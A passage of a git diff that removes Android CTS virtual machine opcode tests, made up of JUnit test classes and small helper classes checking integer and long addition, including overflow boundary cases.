-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_16 {
-
-    public int run(float f) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_2.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_2.java
deleted file mode 100644
index 69c6c8d..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_2.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_2 {
-
-    public int run() {
-        return 0 + 255;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_3.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_3.java
deleted file mode 100644
index 51e84ba..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_3.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_3 {
-
-    public int run() {
-        return 0 + (-32768);
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_4.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_4.java
deleted file mode 100644
index 0fa1146..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_4.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_4 {
-
-    public int run() {
-        return (-2147483647) + 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_5.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_5.java
deleted file mode 100644
index 2080b8b..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_5.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_5 {
-
-    public int run() {
-        return 0x7ffffffe + 2;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_6.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_6.java
deleted file mode 100644
index 4db27b0..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_6.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_6 {
-
-    public int run() {
-        return -1 + 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_7.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_7.java
deleted file mode 100644
index b74ed5d..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_7.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_7 {
-
-    public int run() {
-        return 0 + Short.MAX_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_8.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_8.java
deleted file mode 100644
index c4900e0..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_8.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_8 {
-
-    public int run() {
-        return Integer.MAX_VALUE + Short.MAX_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_9.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_9.java
deleted file mode 100644
index 3368cf9..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_9.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_9 {
-
-    public int run() {
-        return Integer.MAX_VALUE + 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8.java
deleted file mode 100644
index fe3710b..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_int_lit8;
-
-import junit.framework.TestCase;
-
-public class AddIntLit8 extends TestCase {
-    /**
-     * @title Arguments = 8 + 4
-     */
-    public void testN1() {
-        AddIntLit8_1 t = new AddIntLit8_1();
-        assertEquals(12, t.run());
-    }
-
-    /**
-     * @title Arguments = Byte.MIN_VALUE + Byte.MAX_VALUE
-     */
-    public void testN2() {
-        AddIntLit8_2 t = new AddIntLit8_2();
-        assertEquals(-1, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + (-128)
-     */
-    public void testN3() {
-        AddIntLit8_3 t = new AddIntLit8_3();
-        assertEquals(-128, t.run());
-    }
-
-    /**
-     * @title Arguments = (-2147483647) + 0
-     */
-    public void testN4() {
-        AddIntLit8_4 t = new AddIntLit8_4();
-        assertEquals(-2147483647, t.run());
-    }
-
-    /**
-     * @title Arguments = 0x7ffffffe + 2
-     */
-    public void testN5() {
-        AddIntLit8_5 t = new AddIntLit8_5();
-        assertEquals(-2147483648, t.run());
-    }
-
-    /**
-     * @title Arguments = -1 + 1
-     */
-    public void testN6() {
-        AddIntLit8_6 t = new AddIntLit8_6();
-        assertEquals(0, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + Byte.MAX_VALUE
-     */
-    public void testB1() {
-        AddIntLit8_7 t = new AddIntLit8_7();
-        assertEquals(Byte.MAX_VALUE, t.run());
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE + Byte.MAX_VALUE
-     */
-    public void testB2() {
-        AddIntLit8_8 t = new AddIntLit8_8();
-        assertEquals(-2147483522, t.run());
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE + 1
-     */
-    public void testB3() {
-        AddIntLit8_9 t = new AddIntLit8_9();
-        assertEquals(Integer.MIN_VALUE, t.run());
-    }
-
-    /**
-     * @title Arguments = Integer.MIN_VALUE + 1
-     */
-    public void testB4() {
-        AddIntLit8_10 t = new AddIntLit8_10();
-        assertEquals(-2147483647, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + 0
-     */
-    public void testB5() {
-        AddIntLit8_11 t = new AddIntLit8_11();
-        assertEquals(0, t.run());
-    }
-
-    /**
-     * @title Arguments = Short.MIN_VALUE + Byte.MIN_VALUE
-     */
-    public void testB6() {
-        AddIntLit8_12 t = new AddIntLit8_12();
-        assertEquals(-32896, t.run());
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_1.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_1.java
deleted file mode 100644
index 2017b31..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_1 {
-
-    public int run() {
-        return 8 + 4;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_10.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_10.java
deleted file mode 100644
index 88fae83..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_10.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_10 {
-
-    public int run() {
-        return Integer.MIN_VALUE + 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_11.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_11.java
deleted file mode 100644
index 5c29a91..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_11.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_11 {
-
-    public int run() {
-        return 0 + 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_12.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_12.java
deleted file mode 100644
index 9fa0a8d..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_12.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_12 {
-
-    public int run() {
-        return Short.MIN_VALUE + Byte.MIN_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_16.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_16.java
deleted file mode 100644
index f8338e8..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_16.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_16 {
-
-    public int run(float f) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_2.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_2.java
deleted file mode 100644
index eaa4f38..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_2.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_2 {
-
-    public int run() {
-        return Byte.MIN_VALUE + Byte.MAX_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_3.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_3.java
deleted file mode 100644
index e7b0534..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_3.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_3 {
-
-    public int run() {
-        return 0 + (-128);
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_4.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_4.java
deleted file mode 100644
index 7a22091..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_4.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_4 {
-
-    public int run() {
-        return (-2147483647) + 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_5.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_5.java
deleted file mode 100644
index bfbd8c5..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_5.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_5 {
-
-    public int run() {
-        return 0x7ffffffe + 2;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_6.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_6.java
deleted file mode 100644
index 7c14c37..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_6.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_6 {
-
-    public int run() {
-        return -1 + 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_7.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_7.java
deleted file mode 100644
index d5347d0..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_7.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_7 {
-
-    public int run() {
-        return 0 + Byte.MAX_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_8.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_8.java
deleted file mode 100644
index c7a8a9b..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_8.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_8 {
-
-    public int run() {
-        return Integer.MAX_VALUE + Byte.MAX_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_9.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_9.java
deleted file mode 100644
index c246375..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_9.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_9 {
-
-    public int run() {
-        return Integer.MAX_VALUE + 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_long/AddLongTest.java b/tests/vm/src/android/vm/cts/opcodes/add_long/AddLongTest.java
deleted file mode 100644
index 27c4536..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_long/AddLongTest.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_long;
-
-import junit.framework.TestCase;
-
-public class AddLongTest extends TestCase {
-    /**
-     * @title Arguments = 12345678l, 87654321l
-     */
-    public void testN1() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(99999999l, t.run(12345678l, 87654321l));
-    }
-
-    /**
-     * @title Arguments = 0l, 87654321l
-     */
-    public void testN2() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(87654321l, t.run(0l, 87654321l));
-    }
-
-    /**
-     * @title Arguments = -12345678l, 0l
-     */
-    public void testN3() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(-12345678l, t.run(-12345678l, 0l));
-    }
-
-    /**
-     * @title Arguments = 0 + Long.MAX_VALUE
-     */
-    public void testB1() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(9223372036854775807L, t.run(0l, Long.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = 0 + Long.MIN_VALUE
-     */
-    public void testB2() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(-9223372036854775808L, t.run(0l, Long.MIN_VALUE));
-    }
-
-    /**
-     * @title Arguments = 0 + 0
-     */
-    public void testB3() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(0l, t.run(0l, 0l));
-    }
-
-    /**
-     * @title Arguments = Long.MAX_VALUE + Long.MAX_VALUE
-     */
-    public void testB4() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(-2, t.run(Long.MAX_VALUE, Long.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Long.MAX_VALUE + Long.MIN_VALUE
-     */
-    public void testB5() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(-1l, t.run(Long.MAX_VALUE, Long.MIN_VALUE));
-    }
-
-    /**
-     * @title Arguments = Long.MIN_VALUE + Long.MIN_VALUE
-     */
-    public void testB6() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(0l, t.run(Long.MIN_VALUE, Long.MIN_VALUE));
-    }
-
-    /**
-     * @title Arguments = Long.MIN_VALUE + 1
-     */
-    public void testB7() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(-9223372036854775807l, t.run(Long.MIN_VALUE, 1l));
-    }
-
-    /**
-     * @title Arguments = Long.MAX_VALUE + 1
-     */
-    public void testB8() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(-9223372036854775808l, t.run(Long.MAX_VALUE, 1l));
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_long/AddLong_1.java b/tests/vm/src/android/vm/cts/opcodes/add_long/AddLong_1.java
deleted file mode 100644
index 285e4df..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_long/AddLong_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_long;
-
-public class AddLong_1 {
-
-    public long run(long a, long b) {
-        return a+b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_long/AddLong_6.java b/tests/vm/src/android/vm/cts/opcodes/add_long/AddLong_6.java
deleted file mode 100644
index ff7195e..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_long/AddLong_6.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_long;
-
-public class AddLong_6 {
-
-    public long run(long a, double b) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2AddrTest.java b/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2AddrTest.java
deleted file mode 100644
index 5e97757..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2AddrTest.java
+++ /dev/null
@@ -1,109 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
